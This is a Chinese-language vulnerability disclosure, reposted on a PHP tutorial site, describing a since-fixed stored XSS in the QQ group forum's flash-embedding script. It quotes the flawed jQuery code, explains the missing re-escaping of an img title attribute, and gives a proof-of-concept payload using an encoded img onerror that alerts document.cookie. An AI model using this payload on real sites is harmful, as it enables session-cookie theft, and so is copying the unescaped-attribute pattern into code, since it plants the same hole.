网站地图    收藏   

主页 > 后端 > 网站安全 >

QQ群论坛存储型XSS(已修复) - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] QQ群论坛某处代码缺陷导致存储型XSS,记得之前在群里发新帖子,是会有提示告诉群里的XXX发布了一个新的帖子,然后可以直接点进去看的,要是一点进去,就被XSS了,多带感~~ 哈哈...

QQ群论坛某处代码缺陷导致存储型XSS,记得之前在群里发新帖子,是会有提示告诉群里的“XXX发布了一个新的帖子”,然后可以直接点进去看的,要是一点进去,就被XSS了,多带感~~ 哈哈。 本文会同步至pkav.net
 
缺陷文件:http://qun.qq.com/god/m/js/bbs.zh-cn.js
 
缺陷代码:
 
$('div.blogInfo img').load(function() {
    var obj = $(this),
    title = obj.attr('title'),
    src = obj.attr('src'),
    reg = /src:(http:\/\/.{5,}\.swf),width:(\d+),height:(\d+)/g;
    var match = reg.exec(title);
    if (match && match.length > 0 && /.*\/god\/images\/space\.gif/.test(src)) {
        obj.replaceWith('<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="' + match[2] + '" height="' + match[3] + '"><param name="movie" value="' + match[1] + '" /><param name="quality" value="high" /><embed type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" play="true" loop="true" menu="true" width="' + match[2] + '" height="' + match[3] + '" src="' + match[1] + '" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash"></embed></object>');
        return;
    }
}
 
 
成因解析:
 
1. 程序员在显示FLASH时,是先将FLASH地址存储到了一个临时的img标签的title属性里,而在创建FLASH这个DOM元素时,从title里取出地址时,未进行二次的HTML过滤。从而导致了XSS。
 
2. 页面输出的临时IMG代码
<div class="blogInfo cl" id="blogInfo"> <img title="src:http://www.1.com/1.swf&quot;&gt;&lt;img/src=&quot;1&quot;onerror=&quot;alert  (document.cookie);&quot;style=&quot;display:none;&quot;&gt;&lt;i/a=&quot;#.swf,width:480,height:320" src=http://up.2cto.com/2012/1205/20121205111215128.gif" width="480" height="320"  /> <div>
 
 
3. title = obj.attr('title'),取出title属性后,其中的&quot;等都自动转义回 " 等符号.
 
POC:
 
插入FLASH时,输入以下代码:
 
http://www.1.com/1.swf&quot;&gt;&lt;img/src=&quot;1&quot;onerror=&quot;alert(document.cookie);&quot;style=&quot;display:none;&quot;&gt;&lt;i/a=&quot;#.swf
 
 
然后发表帖子即可。
 
 
漏洞证明:

 
 
至于怎么利用,不做过多的危害演示啦~~
修复方案:
title = obj.attr('title') 取出title后,进行二次过滤

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论